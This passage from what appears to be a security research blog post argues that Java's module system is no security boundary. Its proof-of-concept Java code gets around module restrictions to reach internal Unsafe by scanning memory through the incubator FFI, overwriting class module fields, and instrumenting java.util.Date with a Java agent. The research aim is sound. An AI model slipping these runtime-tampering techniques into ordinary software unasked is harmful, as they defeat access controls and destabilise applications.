    long new_module = (long)(Long)UnsafeWrapper.invoke("getLong", new Class<?>[]{Object.class, long.class}, with, moduleFieldOffset);

    UnsafeWrapper.invoke("putLong", new Class<?>[]{Object.class, long.class, long.class}, clobber, moduleFieldOffset, new_module);
    return original_module;
  } catch (Throwable t) {
    t.printStackTrace();
    return 0;
  }
}

public static void stompModule(Class<?> clobber, long with) {
  try {
    Class<?> class_class = Class.class;
    Field class_field_module = class_class.getDeclaredField("module");
    long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, class_field_module);

    UnsafeWrapper.invoke("putLong", new Class<?>[]{Object.class, long.class, long.class}, clobber, moduleFieldOffset, with);
  } catch (Throwable t) {
    t.printStackTrace();
  }
}
try {
  UnsafeWrapper.init("path/to/test.dylib.or.so");
  System.out.println(Main.class.getModule());
  long main_original_module = patchClassModule(Main.class, Integer.class);
  System.out.println(Main.class.getModule());
  test1();
  stompModule(Main.class, main_original_module);
  System.out.println(Main.class.getModule());
} catch (Throwable t) {
  t.printStackTrace();
}

Incubator FFIs

In the past several versions of Java, JEP 4125 (previously JEP 370,6 JEP 383,7 JEP 389,8 and JEP 3939) — there are newer versions of these features in OpenJDK 18 (JEP 41910), 19 (JEP 42411), and 20 (JEP 43412), but the current LTS is OpenJDK 17 — have attempted to add a more robust FFI enabling Java programs to more dynamically interact with native code without having to resort to the ancient JNI. While still in incubator status, these FFI APIs have given Java the ability to directly invoke native functions and to a certain degree, allocate and manipulate raw memory. This is pretty powerful as one no longer needs to write binding JNI C/C++ just to call into a native library:

MethodHandle isatty = CLinker.getInstance().downcallHandle(
  CLinker.systemLookup().lookup("isatty").orElseThrow(Exception::new),
  MethodType.methodType(int.class, int.class),
  FunctionDescriptor.of(CLinker.C_INT, CLinker.C_INT)
);

System.out.println("isatty(0): " + isatty.invoke(0));
System.out.println("isatty(1): " + isatty.invoke(1));
System.out.println("isatty(2): " + isatty.invoke(2));
MethodHandle printftest = CLinker.getInstance().downcallHandle(
  CLinker.systemLookup().lookup("printf").orElseThrow(Exception::new),
  MethodType.methodType(int.class, MemoryAddress.class, MemoryAddress.class),
  FunctionDescriptor.of(CLinker.C_INT, CLinker.C_POINTER, CLinker.C_POINTER)
);

String fmt = "hello %s\n";
String arg = "world";
try(ResourceScope scope = ResourceScope.newConfinedScope()) {
  SegmentAllocator allocator = SegmentAllocator.arenaAllocator(scope);
  MemorySegment _fmt = CLinker.toCString(fmt, allocator);
  MemorySegment _arg = CLinker.toCString(arg, allocator);
  int len = (int) printftest.invokeExact(_fmt.address(), _arg.address());
}

For our purposes though, a more interesting use case for this is as a mechanism to read and write raw memory. We can then scan for Java object instances in memory and directly manipulate them. This isn’t the most stable thing in the world, but it is very much possible. In our case, we search for the object instances of our class and the java.io.ObjectStreamClass class using their hash codes. We then take the raw module field value from java.io.ObjectStreamClass (java.base) and clobber the same offset of our class, effectively placing it in java.base and giving it access to jdk.internal.misc.Unsafe. While we could have done this entirely within a JNI-loaded shared object, or even via ptrace(2), the new Java FFI gives us the ability to do it entirely in Java without writing a line of native code. In fact, in our code targeting Java 17, we call into memcpy as an arbitrary pointer dereferencer, but in OpenJDK 18’s JEP 419, a series of APIs are added to provide direct reading from and writing to pointers. Assuming something of the sort makes it into the next LTS, that will probably be a lot nicer to use and we won’t even need to call into a shared library like libc.

Note: As an incubator API, the FFI is not the simplest thing to enable and use, and this is exacerbated by the general unusability of Java modules. In general, the --enable-native-access= option will be needed to access the functionality, and --add-modules jdk.incubator.foreign will be needed to expose the incubator module.

Incubator FFI Example
package trust.nccgroup.linkertest;

import jdk.incubator.foreign.CLinker;
import jdk.incubator.foreign.FunctionDescriptor;
import jdk.incubator.foreign.*;

import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodType;

import java.nio.file.*;
import java.nio.*;
import java.util.*;
import java.lang.reflect.*;
import java.io.*;

// $ ./gradlew build
// $ java --add-modules jdk.incubator.foreign --enable-native-access=trust.nccgroup.linkertest -p build/libs/linkertest.jar -m trust.nccgroup.linkertest/trust.nccgroup.linkertest.LinkerTest

public class LinkerTest {

  public LinkerTest() {
  }

  public static long scanForClass(Class<?> cls) throws Throwable {
    System.out.println("scanning for " + cls);
    MethodHandle memcpywrapper = CLinker.getInstance().downcallHandle(
      CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
      MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
      FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
    );

    ResourceScope scope = ResourceScope.newConfinedScope();
    MemorySegment ms = MemorySegment.allocateNative(8, 1024, scope);
    ByteBuffer bb = ms.asByteBuffer();

    int hashcode = System.identityHashCode(cls);
    int hashcode2 = cls.hashCode();
    if (hashcode != hashcode2) {
      System.out.println("mismatched hashcodes for " + cls);
    }

    int hashcoder = Integer.reverseBytes(hashcode);

    String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")));
    String[] lines = maps.split("\n");
    ArrayList<Long[]> entries = new ArrayList<>();
    for (String line : lines) {
      if ((line.indexOf(" rw-p ") != -1 || line.indexOf(" r--p ") != -1)) {
        String[] parts = line.split(" ");
        String[] range = parts[0].split("-");
        long a = Long.parseLong(range[0], 16);
        long b = Long.parseLong(range[1], 16);
        entries.add(new Long[]{a, b});
      }
    }

    for (Long[] range : entries) {
      for (long i = range[0]; i+3 < range[1]; i+=1) {
        memcpywrapper.invokeExact(ms.address(), i, (long)4);
        int v = bb.position(0).getInt();
        if (v == hashcoder) {
          memcpywrapper.invokeExact(ms.address(), i+7, (long)2);
          if ( ((bb.position(0).get(0) & 0xff) == 0x58)
            && ((bb.position(0).get(1) & 0xff) == 0x17) ) {
            System.out.println("found: " + Long.toHexString(i-1));
            dumpClass(i-1);
            return i-1;
          }
        }
      }
    }
    return 0;
  }

  public static void dumpClass(long addr) throws Throwable {
    MethodHandle memcpywrapper = CLinker.getInstance().downcallHandle(
      CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
      MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
      FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
    );

    ResourceScope scope = ResourceScope.newConfinedScope();
    MemorySegment ms = MemorySegment.allocateNative(8, 1024, scope);
    ByteBuffer bb = ms.asByteBuffer();

    if (addr != 0) {
      for (long ii = addr-1; ii+3 < addr+0x60+3; ii+=4) {
        memcpywrapper.invokeExact(ms.address(), ii, (long)4);
        String a = Integer.toHexString(bb.position(0).get(0) & 0xff);
        String _b = Integer.toHexString(bb.position(0).get(1) & 0xff);
        String c = Integer.toHexString(bb.position(0).get(2) & 0xff);
        String d = Integer.toHexString(bb.position(0).get(3) & 0xff);
        System.out.println("[" + Long.toHexString(ii) + "]: " + a + " " + _b + " " + c + " " + d);
      }
    } else {
      System.out.println("addr == null");
    }
  }

  public static void writeInt(long addr, int val) throws Throwable {
    MethodHandle memcpywrapperW = CLinker.getInstance().downcallHandle(
      CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
      MethodType.methodType(void.class, long.class, MemoryAddress.class, long.class),
      FunctionDescriptor.ofVoid(CLinker.C_LONG, CLinker.C_POINTER, CLinker.C_LONG)
    );

    ResourceScope scope = ResourceScope.newConfinedScope();
    MemorySegment ms = MemorySegment.allocateNative(4, 1024, scope);
    ByteBuffer bb = ms.asByteBuffer();
    bb.putInt(val);
    memcpywrapperW.invoke(addr, ms.address(), (long)4);
  }

  public static int readInt(long addr) throws Throwable {
    MethodHandle memcpywrapperR = CLinker.getInstance().downcallHandle(
      CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
      MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
      FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
    );

    ResourceScope scope = ResourceScope.newConfinedScope();
    MemorySegment ms = MemorySegment.allocateNative(4, 1024, scope);
    ByteBuffer bb = ms.asByteBuffer();
    memcpywrapperR.invoke(ms.address(), addr, (long)4);
    int val = bb.position(0).getInt();
    return val;
  }

  public static void main(String[] argv) throws Throwable {
    long linkertestaddr = scanForClass(LinkerTest.class);
    long oscaddr = scanForClass(ObjectStreamClass.class);

    System.out.println("linkertestaddr: " + Long.toHexString(linkertestaddr));
    System.out.println("oscaddr: " + Long.toHexString(oscaddr));

    try {
      Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
      Method m = unsafeClass.getDeclaredMethod("getUnsafe");
      Object unsafe = m.invoke(null);
      System.out.println(unsafe);
    } catch (Throwable t) {
      t.printStackTrace();
    }

    if (linkertestaddr != 0 && oscaddr != 0) {
      int origmodule = readInt(linkertestaddr + 48);
      int javabasejavaiomodule = readInt(oscaddr + 48);
      writeInt(linkertestaddr + 48, javabasejavaiomodule);
      System.out.println(LinkerTest.class.getModule());
      if (!LinkerTest.class.getModule().equals(ObjectStreamClass.class.getModule())) {
        System.out.println("didn't work, trying again...");
        writeInt(linkertestaddr + 48, origmodule);
        java.util.concurrent.TimeUnit.SECONDS.sleep(2);
        LinkerTest.main(argv);
        return;
      }

      try {
        Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
        Method m = unsafeClass.getDeclaredMethod("getUnsafe");
        Object unsafe = m.invoke(null);
        System.out.println(unsafe);
      } catch (Throwable t) {
        t.printStackTrace();
      }
    }
  }
}

Java Agents

Java agent JARs are loaded within the unnamed module of the system class loader and have the ability to modify and transform the java.base module and its classes, among other things, enabling them to do pretty much anything. However, when a Java process is started in module mode, any Java agents will, by default, not have access to sun.misc.Unsafe (unless the main module requires jdk.unsupported;) or jdk.internal.misc.Unsafe (due to module restrictions). Because of the powers of Java agents, it is foolish to block them from accessing Unsafe. In the below example code, we instrument the clone and equals methods of java.util.Date in the java.base module to return a jdk.internal.misc.Unsafe instance, and migrate the UnsafeWrapper class into the java.base module, respectively.

Java Agent Example
package trust.nccgroup.agenttest;

import net.bytebuddy.ByteBuddy;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import net.bytebuddy.agent.builder.ResettableClassFileTransformer;

import java.lang.instrument.Instrumentation;
import java.lang.reflect.*;
import java.util.Date;

import trust.nccgroup.UnsafeWrapper;

@SuppressWarnings("unused")
public class Agent {

  public static void premain(String args, Instrumentation inst) {
    agentmain(args, inst);
  }

  public static void agentmain(String args, Instrumentation inst) {
    try {
      System.out.println(Class.forName("sun.misc.Unsafe"));
    } catch (Throwable t) {
      t.printStackTrace();
    }
    try {
      System.out.println(Class.forName("jdk.internal.misc.Unsafe"));
    } catch (Throwable t) {
      t.printStackTrace();
    }
    Object iunsafe = null;
    try {
      ResettableClassFileTransformer rcft1 = new AgentBuilder.Default()
        .disableClassFormatChanges()
        .with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION)
        //.with(new AgentBuilder.Listener.StreamWriting(System.err))
        .ignore(ElementMatchers.nameStartsWith("net.bytebuddy."))
        .type(ElementMatchers.named("java.util.Date"))
        .transform(
          (builder, _cl, _td, _mod, _pd) -> {
            return builder.visit(
              Advice.to(CloneWrapper.class)
                .on(
                  ElementMatchers.named("clone")
                                 .and(ElementMatchers.takesArguments(0))
                )
            );
          }
        )
        .installOn(inst);

      ResettableClassFileTransformer rcft2 = new AgentBuilder.Default()
        .disableClassFormatChanges()
        .with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION)
        //.with(new AgentBuilder.Listener.StreamWriting(System.err))
        .ignore(ElementMatchers.nameStartsWith("net.bytebuddy."))
        .type(ElementMatchers.named("java.util.Date"))
        .transform(
          (builder, _cl, _td, _mod, _pd) -> {
            return builder.visit(
              Advice.to(EqualsWrapper.class)
                .on(
                  ElementMatchers.named("equals")
                                 .and(ElementMatchers.takesArguments(1))
                )
            );
          }
        )
        .installOn(inst);

      System.out.println(UnsafeWrapper.class);
      System.out.println(UnsafeWrapper.class.getModule());

      System.setProperty("NCC_UNSAFE_PLEASE", "1");
      Date key = new Date(42);
      iunsafe = key.clone();
      key.equals(UnsafeWrapper.class);
      System.clearProperty("NCC_UNSAFE_PLEASE");
      rcft1.reset(inst, AgentBuilder.RedefinitionStrategy.RETRANSFORMATION);
      rcft2.reset(inst, AgentBuilder.RedefinitionStrategy.RETRANSFORMATION);

      System.out.println(UnsafeWrapper.class);
      System.out.println(UnsafeWrapper.class.getModule());
    } catch (Throwable t) {
      t.printStackTrace();
    }

    if (iunsafe != null) {
      try {
        UnsafeWrapper.init(iunsafe);

        Field moduleField = Class.class.getDeclaredField("module");
        long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, moduleField);
        System.out.println("Class.module offset: " + moduleFieldOffset);

        Field errField = System.class.getDeclaredField("err");
        long errFieldOffset = (long)(Long)UnsafeWrapper.invoke("staticFieldOffset", new Class<?>[]{Field.class}, errField);
        System.out.println("System.err offset: " + errFieldOffset);
      } catch (Throwable t) {
        t.printStackTrace();
      }
    }
  }

  static class CloneWrapper {
    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
    static Object enter(@Advice.This Object self) {
      if (((Date)self).getTime() == 42) {
        if ("1".equals(System.getProperty("NCC_UNSAFE_PLEASE"))) {
          try {
            Class<?> iunsafeClass = Class.forName("jdk.internal.misc.Unsafe");
            Method getUnsafe = iunsafeClass.getMethod("getUnsafe");
            Object iunsafe = getUnsafe.invoke(null);
            return iunsafe;
          } catch (Throwable t) {
            t.printStackTrace();
          }
        }
      }
      return null;
    }

    @Advice.OnMethodExit
    static void exit(@Advice.Enter Object enterret, @Advice.Return(readOnly=false, typing=Assigner.Typing.DYNAMIC) Object ret) {
      if (enterret != null) {
        ret = enterret;
      }
    }
  }

  static class EqualsWrapper {
    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
    static Object enter(@Advice.This Object self,
                        @Advice.Argument(readOnly=false, typing=Assigner.Typing.DYNAMIC, value = 0) Object obj) {
      if (((Date)self).getTime() == 42 && obj instanceof Class) {
        if ("1".equals(System.getProperty("NCC_UNSAFE_PLEASE"))) {
          try {
            Class<?> iunsafeClass = Class.forName("jdk.internal.misc.Unsafe");
            Method getUnsafe = iunsafeClass.getMethod("getUnsafe");
            Object iunsafe = getUnsafe.invoke(null);
            Method getInt = iunsafeClass.getDeclaredMethod("getInt", Object.class, long.class);
            Method putInt = iunsafeClass.getDeclaredMethod("putInt", Object.class, long.class, int.class);
            Method objectFieldOffset = iunsafeClass.getDeclaredMethod("objectFieldOffset", Class.class, String.class);
            long module_off = (Long)objectFieldOffset.invoke(iunsafe, Class.class, "module");
            Class<?> objclass = (Class<?>)obj;
            Class<?> ownclass = self.getClass();
            int javabase = (Integer)getInt.invoke(iunsafe, ownclass, module_off);
            putInt.invoke(iunsafe, objclass, module_off, javabase);
            return "skip";
          } catch (Throwable t) {
            t.printStackTrace();
          }
        }
      }
      return null;
    }

    @Advice.OnMethodExit
    static void exit(@Advice.Enter Object enterret, @Advice.Return(readOnly=false, typing=Assigner.Typing.DYNAMIC) Object ret) {
      if (enterret != null) {
        ret = false;
      }
    }
  }
}
package trust.nccgroup;

import java.lang.reflect.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.module.*;
import java.nio.file.Path;
import java.util.*;
import java.util.stream.*;

public class UnsafeWrapper {
  private static String type = null;
  private static Object theUnsafe = null;

  private static Map<String,Map<String,Method>> methods = new HashMap<>();

  private UnsafeWrapper() { }

  public static String type() {
    return type;
  }

  private static final Map<Class<?>,Class<?>> boxmap = Stream.of(new Class<?>[][] {
    { Void.TYPE, Void.class },
    { Long.TYPE, Long.class },
    { Integer.TYPE, Integer.class },
    { Short.TYPE, Short.class },
    { Byte.TYPE, Byte.class },
    { Float.TYPE, Float.class },
    { Double.TYPE, Double.class },
    { Boolean.TYPE, Boolean.class },
    { Character.TYPE, Character.class },
  }).collect(Collectors.toMap(data -> data[0], data -> data[1]));

  public static Object invoke(String method_name, Class<?>[] types, Object... args) {
    Map<String,Method> mm = methods.get(method_name);
    if (mm == null) {
      System.err.println("method name not found: " + method_name);
      return null;
    }
    String sig_str = Arrays.toString(types);
    Method m = mm.get(sig_str);
    if (m == null) {
      System.err.println("method sig not found: " + method_name + "(" + sig_str + ")");
      return null;
    }
    try {
      return m.invoke(theUnsafe, args);
    } catch (Throwable t) {
      t.printStackTrace();
      return null;
    }
  }

  public static boolean init(Object _theUnsafe) {
    try {
      theUnsafe = _theUnsafe;

      System.out.println(theUnsafe);
      Class<?> c = theUnsafe.getClass();
      type = c.toString();
      System.out.println(c);

      for (Method m : c.getDeclaredMethods()) {
        Map<String,Method> mm = methods.get(m.getName());
        if (mm == null) {
          mm = new HashMap<>();
          methods.put(m.getName(), mm);
        }
        Class<?>[] param_types = m.getParameterTypes();
        String sig_str = Arrays.toString(param_types);
        mm.put(sig_str, m);
      }
      return true;
    } catch (Throwable t) {
      t.printStackTrace();
      return false;
    }
  }
}

Similarly, JVMTI agents (loaded as agents vs via JNI chicanery) can do essentially whatever they want.

Modules vs Fat Jars

Building, packaging, and deploying Java module-based applications is a nightmare as most tooling either doesn’t really deem fit to support the JPMS because of its neurosis around requiring that dependencies are themselves Java modules, or thinks that it is the “one true way.” The actual solution is to simply reference and load dependencies via the classpath, but outside of raw javac commands, this doesn’t seem to be that well supported.

Thankfully, no one uses any of this, which is why no one seems to care about the build tooling all that much. In the real world, Java applications are built as “fat” JARs that bundle dependencies into the same JAR as the application code. Among other things, it means that a fat JAR can effectively run anywhere and that its dependencies will be fixed at build time (the problem of differing dependency versions at runtime has long plagued Java, and the JPMS, among other things, reintroduces this pattern for some reason). Fat JARs are generally the right way to build Java applications, and Java build tools seem to have prioritized them over modules in stripping the module-info.class files from merged dependency JARs. As they are run using -jar and -cp, they run from the unnamed module and have access to basic runtime functionality.

Conclusion

Java 17 presents an interesting inflection point, where it has both forcibly enabled the module system’s wayward restrictions, and yet still supports the security manager infrastructure right before it is to be removed. This oddly makes it appear as if Java 17 is accidentally the most “secure” Java version that may ever exist. However, it is important to distinguish that these restrictions are not legitimate and that their bolting on does not actually make Java or the JVM more secure.

The Java module system is not about protecting your code from itself or others, it’s about preventing you from using important Java features that have been there for over twenty years. Do not treat it as a security boundary and always treat your Java applications as if they or any code they load can arbitrarily manipulate the runtime… because they can (especially since the security manager sandbox infrastructure is being gutted).

Future

Much like the Java browser plugin before it, JVM JIT bugs are likely going to get relatively hot (and if history is any indicator, there will be a neverending onslaught of them) so long as the Java module system is presented as a security boundary, and people believe it. Due to this there will probably be a lot more of these kinds of issues identified, and they will likely get inflated CVSS scores that make it more difficult to determine which Java “vulnerabilities” are actually real and need to be dealt with.

I also expect that there will be a generally bountiful recurring harvest of sun.misc.Unsafe “gadgets” or other exposed Java internals that can still be reached to do “bad things”™️.

Stop trying to make Java modules happen, it's not going to happen